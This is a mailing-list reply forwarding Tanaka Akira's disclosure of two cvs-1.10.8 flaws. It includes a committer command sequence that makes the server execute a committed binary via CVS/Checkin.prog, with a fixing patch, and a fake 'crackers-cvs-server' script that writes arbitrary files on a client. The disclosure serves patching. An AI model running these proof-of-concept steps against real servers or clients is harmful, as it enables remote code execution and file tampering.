Ian Lance Taylor <[EMAIL PROTECTED]> writes:
> This looks like a serious security problem. It appears to open
> anonymous CVS servers to a wide range of attack.
It looks serious, but not for anonymous-only servers, since anonymous
users can't commit.
The hole here, I think, is that someone who already has commit access
can now execute an arbitrary program on the server system.
Agree, it needs fixing. I'll do it unless someone else has a burning
desire to (Larry?).
> ------- Start of forwarded message -------
> To: [EMAIL PROTECTED]
> Date: Fri, 28 Jul 2000 17:21:28 +0900
> From: Tanaka Akira <[EMAIL PROTECTED]>
> Subject: cvs security problem
>
> I found two security problems in cvs-1.10.8.
>
> (1) A committer can execute any binary in server using
> CVS/Checkin.prog or CVS/Update.prog.
>
> A committer can execute arbitrary binary on a cvs server using
> Checkin.prog. Usually CVS/Checkin.prog in a working directory is
> copied from CVSROOT/modules when the directory is checkouted and it is
> sent back to the server and executed with committing. Note that when
> it is executed, committed files are exsists in a current directory.
>
> Since a working directory can be modified by a committer which have
> the working directory, Checkin.prog may be modified or even newly
> created. If an evil committer do it, cvs server executes such forged
> Checkin.prog. Also note that the evil committer can create arbitrary
> binary file by `cvs add -kb' and `cvs commit'. So the evil committer
> can execute just committed binary file by via Checkin.prog triggerd by
> the `cvs commit'.
>
> Note that similar problem exists with CVS/Update.prog.
>
> Following example is that a committer sends `ls' binary and executes
> in the server. (it assumes that the server and the client is same
> architecture.)
>
> % cvs -d :pserver:test@localhost:/tmp/cvs -f co somemodule
> cvs server: Updating somemodule
> % cd somemodule
> % cp /bin/ls binary
> % cvs add -kb binary
> cvs server: scheduling file `binary' for addition
> cvs server: use 'cvs commit' to add this file permanently
> % echo ./binary > CVS/Checkin.prog
> % cvs commit -m 'test'
> cvs commit: Examining .
> RCS file: /tmp/cvs/somemodule/binary,v
> done
> Checking in binary;
> /tmp/cvs/somemodule/binary,v <-- binary
> initial revision: 1.1
> done
> cvs server: Executing ''./binary' '/tmp/cvs/somemodule''
> #cvs.lock
> #cvs.wfl.serein.m17n.org.14330
> binary,v
>
> This problem can be fixed by disabling two requests.
>
> - --- server.c- Fri Apr 28 15:37:13 2000
> +++ server.c Fri Apr 28 15:38:06 2000
> @@ -4553,8 +4553,6 @@
> REQ_LINE("Max-dotdot", serve_max_dotdot, 0),
> REQ_LINE("Static-directory", serve_static_directory, 0),
> REQ_LINE("Sticky", serve_sticky, 0),
> - - REQ_LINE("Checkin-prog", serve_checkin_prog, 0),
> - - REQ_LINE("Update-prog", serve_update_prog, 0),
> REQ_LINE("Entry", serve_entry, RQ_ESSENTIAL),
> REQ_LINE("Kopt", serve_kopt, 0),
> REQ_LINE("Checkin-time", serve_checkin_time, 0),
>
> (2) cvs server can instruct to create any file at any locaiton in
> client machine.
>
> With cvs protocol, client side paths are processed by server and
> client blindly trusts paths in server responses, cvs server can create
> any file at any locaiton in client machine.
>
> For example, if a client tries to checkout a module `tst' as:
>
> % cvs -f -d :ext:user@server:/cvsroot co tst
>
> and server includes a dangerous response as follows to its responses,
> the cilent creates /tmp/foo.
>
> Created /tmp/
> /cvsroot/tst/foo
> /foo/1.1///
> u=rw,g=rw,o=rw
> 4
> abc
>
> This problem can be test yourself as follows. Although this example
> runs faked cvs server using :ext: method, this vulnerability is
> available in any methods (including :pserver: of course).
>
> % ls -l /tmp/foo
> ls: /tmp/foo: No such file or directory
> % cat crackers-cvs-server
> #!/bin/sh
>
> cat <<'End'
> Valid-requests Root Valid-responses valid-requests Repository Directory Max-dotdot
>Static-directory Sticky Checkin-prog Update-prog Entry Kopt Checkin-time Modified
>Is-modified UseUnchanged Unchanged Notify Questionable Case Argument Argumentx
>Global_option Gzip-stream wrapper-sendme-rcsOptions Set Kerberos-encrypt
>expand-modules ci co update diff log add remove update-patches gzip-file-contents
>status rdiff tag rtag import admin export history release watch-on watch-off
>watch-add watch-remove watchers editors init annotate noop
> ok
> Module-expansion tst
> ok
> Clear-sticky tst/
> /cvsroot/tst/
> Clear-static-directory tst/
> /cvsroot/tst/
> E cvs server: Updating tst
> Created /tmp/
> /cvsroot/tst/foo
> /foo/1.1///
> u=rw,g=rw,o=rw
> 4
> abc
> ok
> End
> % CVS_RSH=./crackers-cvs-server cvs -f -d :ext:user@server:/cvsroot co tst
> cvs server: Updating tst
> cvs checkout: in directory /tmp:
> cvs checkout: cannot open CVS/Entries for reading: No such file or directory
> cvs checkout: cannot open CVS/Entries.Log: No such file or directory
> % ls -l /tmp/foo
> - -rw-r--r-- 1 akr wheel 4 Jul 19 22:01 /tmp/foo
> % cat /tmp/foo
> abc
>
> Currently, I don't have a patch to fix this problem.
> - --
> Tanaka Akira
> ------- End of forwarded message -------
